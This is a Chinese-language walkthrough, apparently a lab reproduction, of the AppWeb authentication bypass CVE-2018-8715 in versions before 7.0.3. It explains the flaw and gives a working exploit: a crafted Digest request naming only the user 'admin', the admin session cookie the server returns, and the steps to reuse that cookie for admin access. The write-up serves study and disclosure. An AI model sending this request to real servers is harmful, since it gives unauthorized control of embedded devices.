AppWeb身份验证绕过漏洞(CVE-2018-8715)

AppWeb身份验证绕过漏洞(CVE-2018-8715)

AppWeb是基于Embedthis Software LLC开发和维护的开源GPL协议的嵌入式Web服务器。它是用C / C ++编写的,几乎可以在任何现代操作系统上运行。当然,它旨在为嵌入式设备提供Web应用程序容器。

可以配置AppWeb进行身份验证,其中包括以下三种身份验证方法:

  • basic,传统的HTTP基本身份验证
  • digest,改进了HTTP基本身份验证。在这种模式下,Cookie将用于身份验证,而不是Authorization标头。
  • form,基于HTML的表单身份验证

在7.0.3之前的Appweb版本中,存在与authCondition函数相关的逻辑缺陷http/httpLib.c。使用伪造的HTTP请求,可以绕过formdigest登录类型的身份验证。

参考链接:

利用

访问http://192.168.44.132:8080/,出现登陆框提示需要登录,删除凭证后,放包可发现存在管理员的session值直接响应包返回,利用该漏洞需要知道一个已存在的用户名,当前的用户名是admin,因此您可以使用以下请求绕过身份验证:

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: 192.168.44.132:8080
Cache-Control: max-age=0
Authorization: Digest username="admin"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

由于我们没有传递密码字段,因此服务器错误发生,其中包含200 status code和会话设置标头:

image-20210507104525967

可以使用以下会话标头正常访问该页面:

1
-http-session-=7::http.session::665137a0fea794484d8c255fa9f8f683

在将session添加到请求包内,以POST的方式发送,然后这样就可以直接访问该管理员才能访问的界面了。

image-20210507104657138

0%